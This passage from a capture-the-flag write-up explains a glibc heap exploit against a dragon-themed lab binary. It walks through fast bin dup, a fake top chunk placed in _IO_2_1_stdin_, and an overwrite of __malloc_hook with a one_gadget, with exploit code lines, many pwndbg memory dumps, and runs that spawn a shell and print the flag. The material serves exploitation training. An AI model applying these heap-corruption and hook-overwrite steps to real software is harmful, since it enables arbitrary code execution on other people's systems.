0x7f26625cb170, 0x7f26625cb180, 0x7f26625cb180, 0x7f26625cb190, 0x7f26625cb190, 0x7f26625cb1a0, 0x7f26625cb1a0, 0x7f26625cb1b0, 0x7f26625cb1b0, 0x7f26625cb1c0, 0x7f26625cb1c0, 0x7f26625cb1d0, 0x7f26625cb1d0, 0x7f26625cb1e0, 0x7f26625cb1e0, 0x7f26625cb1f0, 0x7f26625cb1f0...},
binmap = {0x0, 0x0, 0x0, 0x0},
next = 0x7f26625cab60,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x21000,
max_system_mem = 0x21000
}
pwndbg> x/30gx &main_arena
0x7f26625cab60 <main_arena>: 0x0000000000000000 0x0000000000000001
0x7f26625cab70 <main_arena+16>: 0x0000000000000000 0x000056029b1354c0
0x7f26625cab80 <main_arena+32>: 0x6161610000000000 0x6161636161616261
0x7f26625cab90 <main_arena+48>: 0x6161656161616461 0x6161676161616661
0x7f26625caba0 <main_arena+64>: 0x6161696161616861 0x61616b6161616a61
0x7f26625cabb0 <main_arena+80>: 0x61616d6161616c61 0x61616f6161616e61
0x7f26625cabc0 <main_arena+96>: 0x00000a6161617061 0x0000000000000000
0x7f26625cabd0 <main_arena+112>: 0x00007f26625cabc0 0x00007f26625cabc0
0x7f26625cabe0 <main_arena+128>: 0x00007f26625cabd0 0x00007f26625cabd0
0x7f26625cabf0 <main_arena+144>: 0x00007f26625cabe0 0x00007f26625cabe0
0x7f26625cac00 <main_arena+160>: 0x00007f26625cabf0 0x00007f26625cabf0
0x7f26625cac10 <main_arena+176>: 0x00007f26625cac00 0x00007f26625cac00
0x7f26625cac20 <main_arena+192>: 0x00007f26625cac10 0x00007f26625cac10
0x7f26625cac30 <main_arena+208>: 0x00007f26625cac20 0x00007f26625cac20
0x7f26625cac40 <main_arena+224>: 0x00007f26625cac30 0x00007f26625cac30
At this point, we need to find a valid address for the top chunk. This value must be aligned and must contain a valid size for the heap allocator. If we take a look to some addresses above __malloc_hook
, we have this:
pwndbg> x/100gx &__malloc_hook - 70
0x7f26625ca920 <_IO_wide_data_1+192>: 0x0000000000000000 0x0000000000000000
0x7f26625ca930 <_IO_wide_data_1+208>: 0x0000000000000000 0x0000000000000000
0x7f26625ca940 <_IO_wide_data_1+224>: 0x0000000000000000 0x0000000000000000
0x7f26625ca950 <_IO_wide_data_1+240>: 0x00007f26625c6ee0 0x0000000000000000
0x7f26625ca960 <_IO_2_1_stdin_>: 0x00000000fbad2088 0x000056029b134420
0x7f26625ca970 <_IO_2_1_stdin_+16>: 0x000056029b134420 0x000056029b134420
0x7f26625ca980 <_IO_2_1_stdin_+32>: 0x000056029b134420 0x000056029b134420
0x7f26625ca990 <_IO_2_1_stdin_+48>: 0x000056029b134420 0x000056029b134420
0x7f26625ca9a0 <_IO_2_1_stdin_+64>: 0x000056029b135420 0x0000000000000000
0x7f26625ca9b0 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7f26625ca9c0 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7f26625ca9d0 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7f26625ca9e0 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007f26625cc7d0
0x7f26625ca9f0 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7f26625caa00 <_IO_2_1_stdin_+160>: 0x00007f26625caa40 0x0000000000000000
0x7f26625caa10 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7f26625caa20 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7f26625caa30 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007f26625c7420
0x7f26625caa40 <_IO_wide_data_0>: 0x0000000000000000 0x0000000000000000
0x7f26625caa50 <_IO_wide_data_0+16>: 0x0000000000000000 0x0000000000000000
0x7f26625caa60 <_IO_wide_data_0+32>: 0x0000000000000000 0x0000000000000000
0x7f26625caa70 <_IO_wide_data_0+48>: 0x0000000000000000 0x0000000000000000
0x7f26625caa80 <_IO_wide_data_0+64>: 0x0000000000000000 0x0000000000000000
0x7f26625caa90 <_IO_wide_data_0+80>: 0x0000000000000000 0x0000000000000000
0x7f26625caaa0 <_IO_wide_data_0+96>: 0x0000000000000000 0x0000000000000000
0x7f26625caab0 <_IO_wide_data_0+112>: 0x0000000000000000 0x0000000000000000
0x7f26625caac0 <_IO_wide_data_0+128>: 0x0000000000000000 0x0000000000000000
0x7f26625caad0 <_IO_wide_data_0+144>: 0x0000000000000000 0x0000000000000000
0x7f26625caae0 <_IO_wide_data_0+160>: 0x0000000000000000 0x0000000000000000
0x7f26625caaf0 <_IO_wide_data_0+176>: 0x0000000000000000 0x0000000000000000
0x7f26625cab00 <_IO_wide_data_0+192>: 0x0000000000000000 0x0000000000000000
0x7f26625cab10 <_IO_wide_data_0+208>: 0x0000000000000000 0x0000000000000000
0x7f26625cab20 <_IO_wide_data_0+224>: 0x0000000000000000 0x0000000000000000
0x7f26625cab30 <_IO_wide_data_0+240>: 0x00007f26625c6ee0 0x0000000000000000
0x7f26625cab40 <__memalign_hook>: 0x00007f2662299a10 0x00007f2662299ed0
0x7f26625cab50 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f26625cab60 <main_arena>: 0x0000000000000000 0x0000000000000001
0x7f26625cab70 <main_arena+16>: 0x0000000000000000 0x000056029b1354c0
0x7f26625cab80 <main_arena+32>: 0x6161610000000000 0x6161636161616261
0x7f26625cab90 <main_arena+48>: 0x6161656161616461 0x6161676161616661
0x7f26625caba0 <main_arena+64>: 0x6161696161616861 0x61616b6161616a61
0x7f26625cabb0 <main_arena+80>: 0x61616d6161616c61 0x61616f6161616e61
0x7f26625cabc0 <main_arena+96>: 0x00000a6161617061 0x0000000000000000
0x7f26625cabd0 <main_arena+112>: 0x00007f26625cabc0 0x00007f26625cabc0
0x7f26625cabe0 <main_arena+128>: 0x00007f26625cabd0 0x00007f26625cabd0
0x7f26625cabf0 <main_arena+144>: 0x00007f26625cabe0 0x00007f26625cabe0
0x7f26625cac00 <main_arena+160>: 0x00007f26625cabf0 0x00007f26625cabf0
0x7f26625cac10 <main_arena+176>: 0x00007f26625cac00 0x00007f26625cac00
0x7f26625cac20 <main_arena+192>: 0x00007f26625cac10 0x00007f26625cac10
0x7f26625cac30 <main_arena+208>: 0x00007f26625cac20 0x00007f26625cac20
There is nothing similar to a chunk size… But we have more addresses that start with 0x56
, so we can do a second Fast Bin dup to allocate a chunk there and enter a valid size for the top chunk. This is a valid approach, but it is not efficient in allocations, so we won’t be able to complete the exploit due to the limit of 13 allocations… However, since we control main_arena
, we can enter the address of the next 0x50
-sized chunk to be allocated in the corresponding Fast Bin free-list. Then, just allocate that chunk and enter the fake size at an offset of _IO_2_1_stdin_
:
summon(p, 0x48, b'\0' * 3 + p64(glibc.sym._IO_2_1_stdin_ + 61) + p64(0) * 6 + p64(glibc.sym._IO_2_1_stdin_ + 112)) # 6
summon(p, 0x48, b'\0' * 3 + p64(0) * 5 + p64(0x1fb11)) # 7
So, we have this:
$ python3 solve.py
[*] './da'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './da': pid 3502562
[*] running in new terminal: ['/usr/bin/gdb', '-q', './da', '3502562', '-x', '/tmp/pwnw3k7rv11.gdb']
[+] Waiting for debugger: Done
[*] Leaked __GI__IO_file_jumps address: 0x7fc0032b9420
[+] Glibc base address: 0x7fc002f08000
[*] Switching to interactive mode
Dragons: [8/13]
πππππππππ
π π
π 1. Summon π
π π
π 2. Release π
π π
π 3. Leave π
π π
πππππππππ
>> $
pwndbg> x/100gx &__malloc_hook - 70
0x7fc0032bc920 <_IO_wide_data_1+192>: 0x0000000000000000 0x0000000000000000
0x7fc0032bc930 <_IO_wide_data_1+208>: 0x0000000000000000 0x0000000000000000
0x7fc0032bc940 <_IO_wide_data_1+224>: 0x0000000000000000 0x0000000000000000
0x7fc0032bc950 <_IO_wide_data_1+240>: 0x00007fc0032b8ee0 0x0000000000000000
0x7fc0032bc960 <_IO_2_1_stdin_>: 0x00000000fbad2088 0x0000562f98a8c420
0x7fc0032bc970 <_IO_2_1_stdin_+16>: 0x0000562f98a8c420 0x0000562f98a8c420
0x7fc0032bc980 <_IO_2_1_stdin_+32>: 0x0000562f98a8c420 0x0000562f98a8c420
0x7fc0032bc990 <_IO_2_1_stdin_+48>: 0x0000562f98a8c420 0x0000562f98a8c420
0x7fc0032bc9a0 <_IO_2_1_stdin_+64>: 0x0000562f98a8d420 0x0000000000000000
0x7fc0032bc9b0 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7fc0032bc9c0 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7fc0032bc9d0 <_IO_2_1_stdin_+112>: 0x0000000000000000 0x000000000001fb11
0x7fc0032bc9e0 <_IO_2_1_stdin_+128>: 0x000000000000000a 0x00007fc0032be7d0
0x7fc0032bc9f0 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7fc0032bca00 <_IO_2_1_stdin_+160>: 0x00007fc0032bca40 0x0000000000000000
0x7fc0032bca10 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7fc0032bca20 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7fc0032bca30 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007fc0032b9420
0x7fc0032bca40 <_IO_wide_data_0>: 0x0000000000000000 0x0000000000000000
0x7fc0032bca50 <_IO_wide_data_0+16>: 0x0000000000000000 0x0000000000000000
0x7fc0032bca60 <_IO_wide_data_0+32>: 0x0000000000000000 0x0000000000000000
0x7fc0032bca70 <_IO_wide_data_0+48>: 0x0000000000000000 0x0000000000000000
0x7fc0032bca80 <_IO_wide_data_0+64>: 0x0000000000000000 0x0000000000000000
0x7fc0032bca90 <_IO_wide_data_0+80>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcaa0 <_IO_wide_data_0+96>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcab0 <_IO_wide_data_0+112>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcac0 <_IO_wide_data_0+128>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcad0 <_IO_wide_data_0+144>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcae0 <_IO_wide_data_0+160>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcaf0 <_IO_wide_data_0+176>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcb00 <_IO_wide_data_0+192>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcb10 <_IO_wide_data_0+208>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcb20 <_IO_wide_data_0+224>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcb30 <_IO_wide_data_0+240>: 0x00007fc0032b8ee0 0x0000000000000000
0x7fc0032bcb40 <__memalign_hook>: 0x00007fc002f8ba10 0x00007fc002f8bed0
0x7fc0032bcb50 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcb60 <main_arena>: 0x0000000000000000 0x0000000000000001
0x7fc0032bcb70 <main_arena+16>: 0x0000000000000000 0x0000562f98a8d4c0
0x7fc0032bcb80 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcb90 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcba0 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcbb0 <main_arena+80>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcbc0 <main_arena+96>: 0x00007fc0032bc9d0 0x000000000000000a
0x7fc0032bcbd0 <main_arena+112>: 0x00007fc0032bcbc0 0x00007fc0032bcbc0
0x7fc0032bcbe0 <main_arena+128>: 0x00007fc0032bcbd0 0x00007fc0032bcbd0
0x7fc0032bcbf0 <main_arena+144>: 0x00007fc0032bcbe0 0x00007fc0032bcbe0
0x7fc0032bcc00 <main_arena+160>: 0x00007fc0032bcbf0 0x00007fc0032bcbf0
0x7fc0032bcc10 <main_arena+176>: 0x00007fc0032bcc00 0x00007fc0032bcc00
0x7fc0032bcc20 <main_arena+192>: 0x00007fc0032bcc10 0x00007fc0032bcc10
0x7fc0032bcc30 <main_arena+208>: 0x00007fc0032bcc20 0x00007fc0032bcc20
As can be seen, the top chunk address is 0x00007fc0032bc9d0
, which holds a size of 0x1fb11
, which is valid for the heap allocator. Now we can allocate chunks until we arrive near __malloc_hook
. We can use two 0x80
-sized chunks, then a 0x60
-sized chunk and finally a 0x40
chunk (notice that these sizes were not used before, so they are not corrupted presumably):
summon(p, 0x78, b'') # 8
summon(p, 0x78, b'') # 9
summon(p, 0x58, b'') # 10
$ python3 solve.py
[*] './da'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './da': pid 3507413
[*] running in new terminal: ['/usr/bin/gdb', '-q', './da', '3507413', '-x', '/tmp/pwnj_ah6_4m.gdb']
[+] Waiting for debugger: Done
[*] Leaked __GI__IO_file_jumps address: 0x7ff21cf3f420
[+] Glibc base address: 0x7ff21cb8e000
[*] Switching to interactive mode
Dragons: [11/13]
πππππππππ
π π
π 1. Summon π
π π
π 2. Release π
π π
π 3. Leave π
π π
πππππππππ
>> $
So we have this memory layout. Observe that the top chunk size is above __malloc_hook
. so with the next allocation we can write here:
pwndbg> x/100gx &__malloc_hook - 70
0x7ff21cf42920 <_IO_wide_data_1+192>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42930 <_IO_wide_data_1+208>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42940 <_IO_wide_data_1+224>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42950 <_IO_wide_data_1+240>: 0x00007ff21cf3eee0 0x0000000000000000
0x7ff21cf42960 <_IO_2_1_stdin_>: 0x00000000fbad2088 0x0000561440cda420
0x7ff21cf42970 <_IO_2_1_stdin_+16>: 0x0000561440cda420 0x0000561440cda420
0x7ff21cf42980 <_IO_2_1_stdin_+32>: 0x0000561440cda420 0x0000561440cda420
0x7ff21cf42990 <_IO_2_1_stdin_+48>: 0x0000561440cda420 0x0000561440cda420
0x7ff21cf429a0 <_IO_2_1_stdin_+64>: 0x0000561440cdb420 0x0000000000000000
0x7ff21cf429b0 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ff21cf429c0 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ff21cf429d0 <_IO_2_1_stdin_+112>: 0x0000000000000000 0x0000000000000081
0x7ff21cf429e0 <_IO_2_1_stdin_+128>: 0x000000000000000a 0x00007ff21cf447d0
0x7ff21cf429f0 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ff21cf42a00 <_IO_2_1_stdin_+160>: 0x00007ff21cf42a40 0x0000000000000000
0x7ff21cf42a10 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42a20 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ff21cf42a30 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ff21cf3f420
0x7ff21cf42a40 <_IO_wide_data_0>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42a50 <_IO_wide_data_0+16>: 0x0000000000000000 0x0000000000000081
0x7ff21cf42a60 <_IO_wide_data_0+32>: 0x000000000000000a 0x0000000000000000
0x7ff21cf42a70 <_IO_wide_data_0+48>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42a80 <_IO_wide_data_0+64>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42a90 <_IO_wide_data_0+80>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42aa0 <_IO_wide_data_0+96>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42ab0 <_IO_wide_data_0+112>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42ac0 <_IO_wide_data_0+128>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42ad0 <_IO_wide_data_0+144>: 0x0000000000000000 0x0000000000000061
0x7ff21cf42ae0 <_IO_wide_data_0+160>: 0x000000000000000a 0x0000000000000000
0x7ff21cf42af0 <_IO_wide_data_0+176>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42b00 <_IO_wide_data_0+192>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42b10 <_IO_wide_data_0+208>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42b20 <_IO_wide_data_0+224>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42b30 <_IO_wide_data_0+240>: 0x00007ff21cf3eee0 0x000000000001f9b1
0x7ff21cf42b40 <__memalign_hook>: 0x00007ff21cc11a10 0x00007ff21cc11ed0
0x7ff21cf42b50 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42b60 <main_arena>: 0x0000000000000000 0x0000000000000001
0x7ff21cf42b70 <main_arena+16>: 0x0000000000000000 0x0000561440cdb4c0
0x7ff21cf42b80 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42b90 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42ba0 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42bb0 <main_arena+80>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42bc0 <main_arena+96>: 0x00007ff21cf42b30 0x000000000000000a
0x7ff21cf42bd0 <main_arena+112>: 0x00007ff21cf42bc0 0x00007ff21cf42bc0
0x7ff21cf42be0 <main_arena+128>: 0x00007ff21cf42bd0 0x00007ff21cf42bd0
0x7ff21cf42bf0 <main_arena+144>: 0x00007ff21cf42be0 0x00007ff21cf42be0
0x7ff21cf42c00 <main_arena+160>: 0x00007ff21cf42bf0 0x00007ff21cf42bf0
0x7ff21cf42c10 <main_arena+176>: 0x00007ff21cf42c00 0x00007ff21cf42c00
0x7ff21cf42c20 <main_arena+192>: 0x00007ff21cf42c10 0x00007ff21cf42c10
0x7ff21cf42c30 <main_arena+208>: 0x00007ff21cf42c20 0x00007ff21cf42c20
pwndbg> continue
Continuing.
>> $ 1
Dragon's length: $ 56
Name your dragon: $ AAAAAAAABBBBBBBBCCCCCCCC
Dragons: [12/13]
πππππππππ
π π
π 1. Summon π
π π
π 2. Release π
π π
π 3. Leave π
π π
πππππππππ
>> $
And we have control over __malloc_hook
:
pwndbg> x/10gx &__malloc_hook - 4
0x7ff21cf42b30 <_IO_wide_data_0+240>: 0x00007ff21cf3eee0 0x0000000000000041
0x7ff21cf42b40 <__memalign_hook>: 0x4141414141414141 0x4242424242424242
0x7ff21cf42b50 <__malloc_hook>: 0x4343434343434343 0x000000000000000a
0x7ff21cf42b60 <main_arena>: 0x0000000000000000 0x0000000000000001
0x7ff21cf42b70 <main_arena+16>: 0x0000000000000000 0x000000000001f971
At this point, we can enter a one_gadget
shell:
$ one_gadget glibc/libc.so.6
0xc4dbf execve("/bin/sh", r13, r12)
constraints:
[r13] == NULL || r13 == NULL
[r12] == NULL || r12 == NULL
0xe1fa1 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xe1fad execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL
So, this is the final part of the exploit (exactly 13 allocations, to the limit!):
one_gadget = glibc.address + (0xc4dbf, 0xe1fa1, 0xe1fad)[1]
summon(p, 0x38, p64(0) * 2 + p64(one_gadget)) # 11
p.sendlineafter(b'>> ', b'1') # 12
p.sendlineafter(b"Dragon's length: ", b'24')
p.interactive()
if __name__ == '__main__':
main()
If we run it, at some point it will pop a shell:
$ python3 solve.py
[*] './da'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './da': pid 3511621
[*] Leaked __GI__IO_file_jumps address: 0x7f6148451420
[+] Glibc base address: 0x7f61480a0000
[*] Switching to interactive mode
$ ls
da flag.txt glibc solve.py
Flag
Let’s try remotely:
$ python3 solve.py 178.128.42.95:30292
[*] './da'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Opening connection to 178.128.42.95 on port 30292: Done
[*] Leaked __GI__IO_file_jumps address: 0x7fc0cb3cd420
[+] Glibc base address: 0x7fc0cb01c000
[*] Switching to interactive mode
$ ls
core
da
flag.txt
glibc
$ cat flag.txt
HTB{f45tb1n_dup_n0_tc4ch3_4_r3d_dr4g3n}
The full exploit script can be found in here: solve.py
.